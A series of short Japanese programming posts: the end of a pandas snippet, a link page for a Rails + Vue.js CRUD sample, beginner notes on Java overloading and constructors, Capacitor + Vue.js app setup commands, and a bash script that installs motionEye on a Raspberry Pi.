目的関数は一つしか項目がないので、

~~~python
t=df["目的関数の項目"]
~~~

###終わり
こんなかんじで、このあとモデルに学習させたりします。
Rails + Vue.js + AjaxでCRUDのサンプルプロジェクト [Hello World]

Vue.js初心者が<a href="https://jp.vuejs.org/v2/guide/">公式サイト</a>で基礎を学んだ後に作るVue.js + AjaxによるCRUD(作成/読み込み/更新/削除)のサンプルプロジェクトです。

![vue_crud_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/597258/f32c0ce7-f192-5729-abca-3e27b8a23dd9.png)

動作確認はChrome、FireFox、Microsoft Edge、IE11です。恐らくマックさんのブラウザでも動作するはずです。

## DEMO
<a href="https://www.petitmonte.com/rails-demo/vue_crud">https://www.petitmonte.com/rails-demo/vue_crud</a>

## ソース一式
<a href="https://github.com/TakeshiOkamoto/mpp_vue_crud">https://github.com/TakeshiOkamoto/mpp_vue_crud</a>

※学習用の為、ライセンスはパブリックドメイン

## 関連記事
<a href="https://qiita.com/petitmonte/items/e89a7c7df8cf1c5f3c24">Rails + React + AjaxでCRUDのサンプルプロジェクト [Hello World]</a>
<a href="https://qiita.com/petitmonte/items/0857ac8baf0d56187b7c">Rails + Vue.js + AjaxでCRUDのサンプルプロジェクト [Hello World]</a>
<a href="https://qiita.com/petitmonte/items/c8820525c832bb2e4664">Rails + jQuery + AjaxでCRUDのサンプルプロジェクト [Hello World]</a>
<a href="https://www.petitmonte.com/javascript/framework_comparison.html">React・Vue.js・JQueryで同じSPAを作成して比較してみた</a>
初心者から始めるJava、オーバーロード・コンストラクタ

追記　2020/3/15
・多態性について、より抽象度の高い考え方であることをコメントで教えていただいたので、オーバーロードとの関係について修正。

#はじめに
この記事は備忘録である。
参考書レベルの内容だが、本記事に掲載するコードについては、
~~**間違えた**ものが中心となる。これは実際にコーディング中に間違えた部分を掲載し、自分で反省するために投稿するという目的によるもの~~。
また、後日にJavaSilver試験問題の勉強を兼ねて復習するため、深い部分の話はここでは触れない。

##環境
言語：Java11、JDK13.0.2
動作環境：Windows10

#オーバーロード
クラスの中では、同じ名前のメソッドが同居しても構わないルールがある。
ひとつのメソッドの中で、扱う引数を無制限に増やしてもすべての引数を一度に宣言するのは難しいので、必要な機能に分けて用意した方が、クラスを使う側からしても楽になる。

```Java:Cat.java
getCatStatus(double weight,double height){
(略)
}
getCatStatus(int age,int number){
(略)
}
getCatStatus(String name,String voice){
(略)
}
```
このとき、`getCatStatus()`を使った場合の引数指定に応じて、同じ名前のメソッドから合致するものを選んで使ってもらえる。
この機能の事を**オーバーロード**という。
注意点として、**同じ名前の各メソッドが持つ引数の型・個数が異なるようにする必要がある**。
これには、戻り値の型による違いは含まれてないため、**修飾子が違うだけの同じ引数を必要とするメソッドは作れない**。
#コンストラクタ
クラスを用意してメソッドを書く際、クラスのオブジェクトが生成された直後にクラスフィールドの初期値を定めることが出来る。

```Java:Cat.java
class Cat
{
  private double weight;
  private int age;

  public Cat()
  {
    weight = 1.0;
    age = 0;
  }
}
```
クラス名と全く同じ名前のメソッドを書くと、クラスを使って`new`してオブジェクトが生成された際自動的に初期値を格納することが出来る。

#終わりに
オーバーロードで扱った、同じ名前のメソッドではあるが引数に応じて別の働きをもたせることが出来る機能について。
関数の多重定義という仕組みであり、特に**引数の型に応じて関数の振る舞いが変わる多相性**のことを**アドホック多相**と呼ぶ。

メモ：アドホック多相は**多態性(ポリモーフィズム:Polymorphism)**のうちのひとつ

#参考
出来るだけ自分で変数や式を書いてコンパイルしているので、完全に引用する場合はその旨記述する。

[やさしいJava 第7版](http://mana.on.coocan.jp/yasaj.html)
[Java SE11 Silver 問題集](https://book.impress.co.jp/books/1118101186)（通称黒本）
Vue.js、Capacitorでアプリ開発

ウェブ開発ノウハウを利用してスマートフォンアプリの開発を行うハイブリッドアプリについて、ソリューションの一つとしてCapacitor＋Vue.jsを考えてみました。
メリットは、最初のプロジェクトの作成が非常に簡単にできることですので、プロジェクトの作成手順を紹介します。

### Vue.jsプロジェクトの作成
https://qiita.com/jjjjjj/items/a43922631f1350bb9c65
を参照

### Capacitorのインストール
以下を参考にしました。
https://capacitor.ionicframework.jp/docs/getting-started

```bash
$ npm install --save @capacitor/core @capacitor/cli
```

### Capacitor初期設定
```bash
$ npx cap init
```

### index.htmlファイルの場所を変更
capacitor.config.jsonのwebDirをwwwからdistに変更する。

### プラットフォームのインストール
```bash
$ npx cap add ios
$ npx cap add android
```

### Vueプロジェクトをネイティブにコピーする
```bash
$ npx cap copy ios
$ npx cap copy android
```

### IDEを開いてビルド、実行する
```bash
$ npx cap open ios
$ npx cap open android
```
.sh使ってmotioneyeを自動インストール


```
#!/bin/bash
sudo apt-get update -y
sudo apt-get upgrade -y
sudo apt install -y python-pip curl libssl-dev libcurl4-openssl-dev libjpeg-dev
sudo apt install -y motion
sudo pip install motioneye
mkdir -p /etc/motioneye
cp /usr/local/share/motioneye/extra/motioneye.conf.sample /etc/motioneye/motioneye.conf
mkdir -p /var/lib/motioneye
cp /usr/local/share/motioneye/extra/motioneye.systemd-unit-local /etc/systemd/system/motioneye.service
systemctl daemon-reload
systemctl enable motioneye
systemctl start motioneye
```

をメモ帳なんかで開いてコピペして貼り付けてmotioneye.sh付けて
/home/piのところに保存しとけばいつでもアプデorインスコ出来るようになります。
そしてsudo bash /home/pi/motioneye.shで実行